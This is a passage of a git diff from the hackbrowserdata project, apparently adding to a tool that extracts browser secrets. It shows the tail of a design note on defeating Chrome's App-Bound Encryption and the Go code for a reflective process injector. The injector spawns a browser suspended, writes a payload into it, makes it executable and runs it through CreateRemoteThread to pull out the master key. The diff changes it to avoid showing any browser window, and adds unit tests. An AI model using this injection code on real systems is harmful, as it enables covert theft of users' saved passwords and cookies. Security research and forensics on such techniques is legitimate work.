skipped. +Comparisons in this section were made against [xaitax/Chrome-App-Bound-Encryption-Decryption @ `63b719f`](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/commit/63b719f2ab3dbf8573fd9228a9c028526e9eb1db). It is a reference for reading only — nothing from it is vendored, and it is deliberately not a submodule. + ### 9.2 Why we abandoned Stephen Fewer's loader `while(curr)` loop without `curr != head` termination → walked past end of the circular `InMemoryOrderModuleList` → dereferenced `PEB_LDR_DATA` itself as an `LDR_DATA_TABLE_ENTRY` → access-violated on `BaseDllName.pBuffer`. The 2012-era struct alignment hack (commented-out first `LIST_ENTRY`) also makes it brittle against Windows internals. Our replacement is strictly smaller, addresses these bugs explicitly, and is first-party. @@ -278,7 +277,7 @@ Tempting — it's known-good. But: C++ in an otherwise pure-C/Go repo; ASM tramp ## 10. Browser coverage | Browser class | Behavior | -|---|---| +| --- | --- | | Chrome Stable/Beta, Brave, CocCoc | ABE v20 via `CHROME_BASE` slot (5) | | Microsoft Edge | ABE v20 via `EDGE` slot (8); v2 `E_NOINTERFACE` → v1 fallback succeeds | | Avast Secure Browser | ABE v20 via `AVAST` slot (13) | @@ -318,7 +317,7 @@ Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `utils/winutil/brows ## 13. Related RFCs | RFC | Relation | -|---|---| +| --- | --- | | [RFC-003 Chromium Encryption](003-chromium-encryption.md) | v10/v11/v20 cipher format reference; v20 now implemented on Windows per this RFC | | [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `masterkey.Retrievers` taxonomy; Windows populates V10 (DPAPI) + V20 (ABE) as independent tier slots | | [RFC-009 Windows Locked Files](009-windows-locked-file-bypass.md) | Sibling Windows-specific workaround (handle duplication for locked DBs) | diff --git a/utils/injector/pe_windows_test.go b/utils/injector/pe_windows_test.go index 33f0deb..1a6ea44 100644 --- a/utils/injector/pe_windows_test.go +++ b/utils/injector/pe_windows_test.go @@ -48,7 +48,7 @@ func TestDetectPEArch_EmptyInput(t *testing.T) { } // TestFindExportFileOffset_KnownExports walks a handful of kernel32 exports -// that Bootstrap also relies on via pre-resolved import patching. Passing +// that Bootstrap also relies on via its remote parameter block. Passing // here means both the export-table walker and the RVA→file-offset converter // work against a real Windows PE — not just against fixtures we control. func TestFindExportFileOffset_KnownExports(t *testing.T) { diff --git a/utils/injector/reflective_windows.go b/utils/injector/reflective_windows.go index cb1a8f4..a67a15a 100644 --- a/utils/injector/reflective_windows.go +++ b/utils/injector/reflective_windows.go @@ -6,8 +6,10 @@ import ( "encoding/binary" "fmt" "os" + "runtime" "syscall" "time" + "unsafe" "golang.org/x/sys/windows" @@ -22,8 +24,9 @@ type Reflective struct { const ( exportName = "Bootstrap" // 30s covers GoogleChromeElevationService cold-start on first call after boot. - defaultWait = 30 * time.Second - terminateWait = 2 * time.Second + defaultWait = 30 * time.Second + terminateWait = 2 * time.Second + bootstrapParamFieldSize = 8 ) func (r *Reflective) Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) { @@ -33,13 +36,11 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin if exePath == "" { return nil, fmt.Errorf("injector: empty exePath") } - - loaderRVA, err := validateAndLocateLoader(payload) - if err != nil { - return nil, err + if runtime.GOARCH != "amd64" { + return nil, fmt.Errorf("injector: only amd64 is supported (got %s)", runtime.GOARCH) } - patched, err := patchPreresolvedImports(payload) + loaderRVA, err := validateAndLocateLoader(payload) if err != nil { return nil, err } @@ -47,11 +48,10 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin restore := setEnvTemporarily(env) defer restore() - pi, udd, err := spawnSuspended(exePath) + pi, err := spawnSuspended(exePath) if err != nil { return nil, err } - defer os.RemoveAll(udd) defer windows.CloseHandle(pi.Process) defer windows.CloseHandle(pi.Thread) @@ -63,25 +63,25 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin } }() - remoteBase, err := writeRemotePayload(pi.Process, patched) + remoteBase, err := writeRemotePayload(pi.Process, payload) + if err != nil { + return nil, err + } + scratchBase, err := allocateScratch(pi.Process) + if err != nil { + return nil, err + } + paramsBase, err := writeBootstrapParams(pi.Process, scratchBase) if err != nil { return nil, err } - // Resume briefly so ntdll loader init completes before we hijack a thread; Bootstrap itself is - // self-contained but the later elevation_service COM call inside the payload relies on a - // fully-initialized PEB. Chrome's main() is left running so it can stand up its own COM/ - // scheduler infrastructure — the child will show a normal browser window under the isolated - // --user-data-dir, which we accept; our Bootstrap finishes before the user sees anything. - _, _ = windows.ResumeThread(pi.Thread) - time.Sleep(500 * time.Millisecond) - - if err := runAndWait(pi.Process, remoteBase, loaderRVA, r.wait()); err != nil { + if err := runAndWait(pi.Process, remoteBase, loaderRVA, paramsBase, r.wait()); err != nil { return nil, err } // Read output before TerminateProcess — after kill the memory is gone. - result, readErr := readScratch(pi.Process, remoteBase) + result, readErr := readScratch(pi.Process, scratchBase) _ = windows.TerminateProcess(pi.Process, 0) _, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond)) @@ -133,63 +133,35 @@ func validateAndLocateLoader(payload []byte) (uint32, error) { return off, nil } -// buildIsolatedCommandLine builds the command-line for a spawned, singleton-isolated Chromium process. -// Only --user-data-dir= is passed — this is the one switch that matters: it escapes the running -// browser's ProcessSingleton mutex so the suspended child survives past main() long enough for the -// remote Bootstrap thread to complete (issue #576). Adding any other flags (--no-startup-window, -// --disable-extensions, --disable-gpu, ...) has either destabilized Brave (payload dies in DllMain -// with marker=0x0b) or made newer Chromium forks on Windows 11 exit within ~200ms because they had -// "nothing to do" after bypassing window creation — letting the browser show a normal window under -// the isolated UDD is the most compatible behavior across forks and Windows versions. -func buildIsolatedCommandLine(exePath, udd string) string { - // %q would Go-escape backslashes (C:\foo → C:\\foo); Windows CommandLineToArgvW then keeps them - // as literal double backslashes in argv. Raw literal quotes match Windows command-line rules. - //nolint:gocritic // sprintfQuotedString: %q is wrong for Windows command-line escaping, see above. - return fmt.Sprintf(`"%s" --user-data-dir="%s"`, exePath, udd) -} - -// spawnSuspended launches exePath in a fully isolated suspended state. A unique --user-data-dir is -// passed so the spawned chrome.exe does not collide with any already-running Chrome instance's -// ProcessSingleton (which would call ExitProcess as soon as main() runs, killing our remote Bootstrap -// thread before it can publish the master key). The temp UDD is returned so the caller can remove it -// after injection. -func spawnSuspended(exePath string) (*windows.ProcessInformation, string, error) { - udd, err := os.MkdirTemp("", "hbd-inj-udd-*") - if err != nil { - return nil, "", fmt.Errorf("injector: make temp user-data-dir: %w", err) - } - - cmdLine := buildIsolatedCommandLine(exePath, udd) - cmdPtr, err := syscall.UTF16PtrFromString(cmdLine) - if err != nil { - _ = os.RemoveAll(udd) - return nil, "", fmt.Errorf("injector: command line: %w", err) - } +// spawnSuspended launches exePath with its primary thread suspended. The browser's normal startup +// path is never resumed; only the remote Bootstrap thread runs, matching the ABE reference injector +// and avoiding any top-level Chromium UI. +func spawnSuspended(exePath string) (*windows.ProcessInformation, error) { exePtr, err := syscall.UTF16PtrFromString(exePath) if err != nil { - _ = os.RemoveAll(udd) - return nil, "", fmt.Errorf("injector: exe path: %w", err) + return nil, fmt.Errorf("injector: exe path: %w", err) + } + si := &windows.StartupInfo{ + Cb: uint32(unsafe.Sizeof(windows.StartupInfo{})), } - si := &windows.StartupInfo{} pi := &windows.ProcessInformation{} err = windows.CreateProcess( - exePtr, cmdPtr, nil, nil, + exePtr, nil, nil, nil, false, windows.CREATE_SUSPENDED, nil, nil, si, pi, ) if err != nil { - _ = os.RemoveAll(udd) - return nil, "", fmt.Errorf("injector: CreateProcess: %w", err) + return nil, fmt.Errorf("injector: CreateProcess: %w", err) } - return pi, udd, nil + return pi, nil } func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) { remoteBase, err := winapi.VirtualAllocEx(proc, uintptr(len(payload)), uint32(windows.MEM_COMMIT|windows.MEM_RESERVE), - uint32(windows.PAGE_EXECUTE_READWRITE), + uint32(windows.PAGE_READWRITE), ) if err != nil { return 0, fmt.Errorf("injector: %w", err) @@ -202,6 +174,88 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) { if int(written) != len(payload) { return 0, fmt.Errorf("injector: short write to target (%d/%d)", written, len(payload)) } + if _, err := winapi.VirtualProtectEx(proc, remoteBase, uintptr(len(payload)), uint32(windows.PAGE_EXECUTE_READ)); err != nil { + return 0, fmt.Errorf("injector: protect payload: %w", err) + } + // Required before the region is executed. Bootstrap flushes again once it has mapped the + // payload's own sections, but that runs too late to cover its own first instruction. + if err := winapi.FlushInstructionCache(proc, remoteBase, uintptr(len(payload))); err != nil { + return 0, fmt.Errorf("injector: flush instruction cache: %w", err) + } + return remoteBase, nil +} + +func allocateScratch(proc windows.Handle) (uintptr, error) { + // Keep the old scratch offsets stable for diagnostics/key reads, but place the scratch area in + // its own RW allocation so the raw payload image can be execute-only after writing. + const scratchSize = bootstrap.KeyOffset + bootstrap.KeyLen + remoteBase, err := winapi.VirtualAllocEx(proc, + uintptr(scratchSize), + uint32(windows.MEM_COMMIT|windows.MEM_RESERVE), + uint32(windows.PAGE_READWRITE), + ) + if err != nil { + return 0, fmt.Errorf("injector: allocate scratch: %w", err) + } + return remoteBase, nil +} + +// encodeBootstrapParams lays out the C BootstrapParams struct using the cgo-generated field +// offsets, so a field added or reordered in bootstrap_layout.h shows up as a layout.go diff +// rather than as a silently misread pointer inside the target process. +func encodeBootstrapParams(scratchBase uintptr) ([]byte, error) { + fields := []struct { + offset int + addr uintptr + }{ + {bootstrap.ParamScratchBase, scratchBase}, + {bootstrap.ParamLoadLibraryA, winapi.AddrLoadLibraryA()}, + {bootstrap.ParamGetProcAddress, winapi.AddrGetProcAddress()}, + {bootstrap.ParamVirtualAlloc, winapi.AddrVirtualAlloc()}, + {bootstrap.ParamVirtualProtect, winapi.AddrVirtualProtect()}, + {bootstrap.ParamNtFlushIC, winapi.AddrNtFlushInstructionCache()}, + } + params := make([]byte, bootstrap.ParamsSize) + for _, f := range fields { + if f.addr == 0 { + return nil, fmt.Errorf("injector: failed to resolve one or more bootstrap params") + } + if err := putBootstrapParam(params, f.offset, f.addr); err != nil { + return nil, err + } + } + return params, nil +} + +func putBootstrapParam(params []byte, offset int, addr uintptr) error { + if offset < 0 || offset > len(params)-bootstrapParamFieldSize { + return fmt.Errorf("injector: bootstrap param offset %d out of bounds for %d-byte block", offset, len(params)) + } + binary.LittleEndian.PutUint64(params[offset:offset+bootstrapParamFieldSize], uint64(addr)) + return nil +} + +func writeBootstrapParams(proc windows.Handle, scratchBase uintptr) (uintptr, error) { + params, err := encodeBootstrapParams(scratchBase) + if err != nil { + return 0, err + } + + remoteBase, err := winapi.VirtualAllocEx(proc, + uintptr(len(params)), + uint32(windows.MEM_COMMIT|windows.MEM_RESERVE), + uint32(windows.PAGE_READWRITE), + ) + if err != nil { + return 0, fmt.Errorf("injector: allocate bootstrap params: %w", err) + } + var written uintptr + if err := windows.WriteProcessMemory(proc, remoteBase, ¶ms[0], uintptr(len(params)), &written); err != nil { + return 0, fmt.Errorf("injector: write bootstrap params: %w", err) + } + if int(written) != len(params) { + return 0, fmt.Errorf("injector: short write to bootstrap params (%d/%d)", written, len(params)) + } return remoteBase, nil } @@ -209,9 +263,9 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) { // process is still running; any other value means the process has already terminated. const stillActive uint32 = 259 -func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error { +func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, param uintptr, wait time.Duration) error { entry := remoteBase + uintptr(loaderRVA) - hThread, err := winapi.CreateRemoteThread(proc, entry, 0) + hThread, err := winapi.CreateRemoteThread(proc, entry, param) if err != nil { // Diagnostic: distinguish a dead target (Chrome self-exited before we could inject — policy, // version, UDD-restriction, sandbox-init failure) from a live target whose NtCreateThreadEx @@ -281,40 +335,6 @@ func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error) return result, nil } -// patchPreresolvedImports writes five pre-resolved Win32 function pointers into the payload's DOS stub -// so Bootstrap skips PEB.Ldr traversal entirely. Validity relies on KnownDlls + session-consistent -// ASLR (kernel32 and ntdll share the same virtual address across processes in one boot session). -func patchPreresolvedImports(payload []byte) ([]byte, error) { - if len(payload) < bootstrap.ImpNtFlushICOffset+8 { - return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch") - } - - pLoadLibraryA := winapi.AddrLoadLibraryA() - pGetProcAddress := winapi.AddrGetProcAddress() - pVirtualAlloc := winapi.AddrVirtualAlloc() - pVirtualProtect := winapi.AddrVirtualProtect() - pNtFlushIC := winapi.AddrNtFlushInstructionCache() - - if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 || - pVirtualProtect == 0 || pNtFlushIC == 0 { - return nil, fmt.Errorf("injector: failed to resolve one or more pre-resolved imports") - } - - patched := make([]byte, len(payload)) - copy(patched, payload) - - writeAddr := func(off int, addr uintptr) { - binary.LittleEndian.PutUint64(patched[off:off+8], uint64(addr)) - } - writeAddr(bootstrap.ImpLoadLibraryAOffset, pLoadLibraryA) - writeAddr(bootstrap.ImpGetProcAddressOffset, pGetProcAddress) - writeAddr(bootstrap.ImpVirtualAllocOffset, pVirtualAlloc) - writeAddr(bootstrap.ImpVirtualProtectOffset, pVirtualProtect) - writeAddr(bootstrap.ImpNtFlushICOffset, pNtFlushIC) - - return patched, nil -} - // setEnvTemporarily mutates the current process's env; NOT concurrency-safe. Callers must serialize // Inject calls. func setEnvTemporarily(env map[string]string) func() { diff --git a/utils/injector/reflective_windows_test.go b/utils/injector/reflective_windows_test.go new file mode 100644 index 0000000..e6d142b --- /dev/null +++ b/utils/injector/reflective_windows_test.go @@ -0,0 +1,112 @@ +//go:build windows && amd64 + +package injector + +import ( + "encoding/binary" + "testing" + + "github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap" + "github.com/moond4rk/hackbrowserdata/utils/winapi" +) + +// The C payload reads BootstrapParams by field offset while Go writes it as a flat byte +// slice, so this pins the encoding to the cgo-generated offsets rather than to field order. +func TestEncodeBootstrapParams(t *testing.T) { + const scratchBase = 0xDEADBEEF000 + + params, err := encodeBootstrapParams(scratchBase) + if err != nil { + t.Fatalf("encodeBootstrapParams: %v", err) + } + if len(params) != bootstrap.ParamsSize { + t.Fatalf("params size = %d, want %d (C sizeof(BootstrapParams))", len(params), bootstrap.ParamsSize) + } + + cases := []struct { + name string + offset int + want uintptr + }{ + {"scratch_base", bootstrap.ParamScratchBase, scratchBase}, + {"LoadLibraryA", bootstrap.ParamLoadLibraryA, winapi.AddrLoadLibraryA()}, + {"GetProcAddress", bootstrap.ParamGetProcAddress, winapi.AddrGetProcAddress()}, + {"VirtualAlloc", bootstrap.ParamVirtualAlloc, winapi.AddrVirtualAlloc()}, + {"VirtualProtect", bootstrap.ParamVirtualProtect, winapi.AddrVirtualProtect()}, + {"NtFlushInstructionCache", bootstrap.ParamNtFlushIC, winapi.AddrNtFlushInstructionCache()}, + } + for _, tc := range cases { + got := binary.LittleEndian.Uint64(params[tc.offset : tc.offset+8]) + if got != uint64(tc.want) { + t.Errorf("%s at offset 0x%x = %#x, want %#x", tc.name, tc.offset, got, tc.want) + } + if tc.want == 0 { + t.Errorf("%s resolved to a null address", tc.name) + } + } +} + +func TestPutBootstrapParamBounds(t *testing.T) { + const want = uintptr(0x0123456789ABCDEF) + tests := []struct { + name string + size int + offset int + wantErr bool + }{ + {name: "last valid field", size: 16, offset: 8}, + {name: "negative offset", size: 8, offset: -1, wantErr: true}, + {name: "short block", size: 7, offset: 0, wantErr: true}, + {name: "one past end", size: 8, offset: 1, wantErr: true}, + {name: "maximum offset", size: 8, offset: int(^uint(0) >> 1), wantErr: true}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + params := make([]byte, tt.size) + err := putBootstrapParam(params, tt.offset, want) + if tt.wantErr { + if err == nil { + t.Fatal("putBootstrapParam returned nil error") + } + return + } + if err != nil { + t.Fatalf("putBootstrapParam: %v", err) + } + if got := binary.LittleEndian.Uint64(params[tt.offset:]); got != uint64(want) { + t.Errorf("encoded value = %#x, want %#x", got, want) + } + }) + } +} + +// Every field must land inside the struct and none may overlap — a stale offset constant +// would otherwise corrupt a neighboring pointer instead of failing loudly. +func TestBootstrapParamOffsetsAreDisjoint(t *testing.T) { + offsets := []int{ + bootstrap.ParamScratchBase, + bootstrap.ParamLoadLibraryA, + bootstrap.ParamGetProcAddress, + bootstrap.ParamVirtualAlloc, + bootstrap.ParamVirtualProtect, + bootstrap.ParamNtFlushIC, + } + seen := make(map[int]bool, len(offsets)) + for _, off := range offsets { + if off%8 != 0 { + t.Errorf("offset 0x%x is not 8-byte aligned", off) + } + if off < 0 || off > bootstrap.ParamsSize-bootstrapParamFieldSize { + t.Errorf("offset 0x%x overruns params block of %d bytes", off, bootstrap.ParamsSize) + } + if seen[off] { + t.Errorf("offset 0x%x used by more than one field", off) + } + seen[off] = true + } + if len(seen)*bootstrapParamFieldSize != bootstrap.ParamsSize { + t.Errorf("%d fields cover %d bytes, but C sizeof(BootstrapParams) is %d", + len(seen), len(seen)*bootstrapParamFieldSize, bootstrap.ParamsSize) + } +} diff --git a/utils/winapi/process_windows.go b/utils/winapi/process_windows.go index 6137da7..9406fef 100644 --- a/utils/winapi/process_windows.go +++ b/utils/winapi/process_windows.go @@ -11,8 +11,10 @@ import ( // Call-style procs used by the typed wrappers below. var ( - procVirtualAllocEx = Kernel32.NewProc("VirtualAllocEx") - procCreateRemoteThread = Kernel32.NewProc("CreateRemoteThread") + procVirtualAllocEx = Kernel32.NewProc("VirtualAllocEx") + procVirtualProtectEx = Kernel32.NewProc("VirtualProtectEx") + procFlushInstructionCache = Kernel32.NewProc("FlushInstructionCache") + procCreateRemoteThread = Kernel32.NewProc("CreateRemoteThread") // K32EnumProcesses is the kernel32-embedded twin of psapi!EnumProcesses // introduced in Windows 7 — using it lets us skip the psapi.dll handle. @@ -21,8 +23,8 @@ var ( ) // Address-style procs. The injector reads their raw addresses via .Addr() -// and patches them into the reflective loader's DOS stub. We never Call -// these from our own process. +// and passes them to the reflective loader in its remote parameter block. +// We never Call these from our own process. var ( procLoadLibraryA = Kernel32.NewProc("LoadLibraryA") procGetProcAddress = Kernel32.NewProc("GetProcAddress") @@ -41,6 +43,25 @@ func VirtualAllocEx(proc windows.Handle, size uintptr, flAllocType, flProtect ui ) } +// VirtualProtectEx wraps kernel32!VirtualProtectEx and returns the previous +// protection for the region. +func VirtualProtectEx(proc windows.Handle, addr, size uintptr, flNewProtect uint32) (uint32, error) { + var oldProtect uint32 + _, err := CallBoolErr(procVirtualProtectEx, + uintptr(proc), addr, size, + uintptr(flNewProtect), uintptr(unsafe.Pointer(&oldProtect)), + ) + return oldProtect, err +} + +// FlushInstructionCache wraps kernel32!FlushInstructionCache. Windows requires this after +// writing bytes that are about to be executed as code; pass addr=0, size=0 to flush the +// whole process. amd64 caches happen to be coherent, but the API contract is not. +func FlushInstructionCache(proc windows.Handle, addr, size uintptr) error { + _, err := CallBoolErr(procFlushInstructionCache, uintptr(proc), addr, size) + return err +} + // CreateRemoteThread wraps kernel32!CreateRemoteThread. Returns the new // thread's handle, which the caller must CloseHandle. func CreateRemoteThread(proc windows.Handle, startAddr, param uintptr) (windows.Handle, error) { @@ -54,10 +75,9 @@ func CreateRemoteThread(proc windows.Handle, startAddr, param uintptr) (windows. return windows.Handle(h), nil } -// Addr* functions expose raw function pointers for the reflective -// loader's DOS-stub patching. KnownDlls + session-consistent ASLR -// guarantees these addresses are valid in every process spawned in -// the same boot session. +// Addr* functions expose raw function pointers for the reflective loader's +// BootstrapParams block. KnownDlls + session-consistent ASLR guarantees these +// addresses are valid in every process spawned in the same boot session. func AddrLoadLibraryA() uintptr { return procLoadLibraryA.Addr() } func AddrGetProcAddress() uintptr { return procGetProcAddress.Addr() }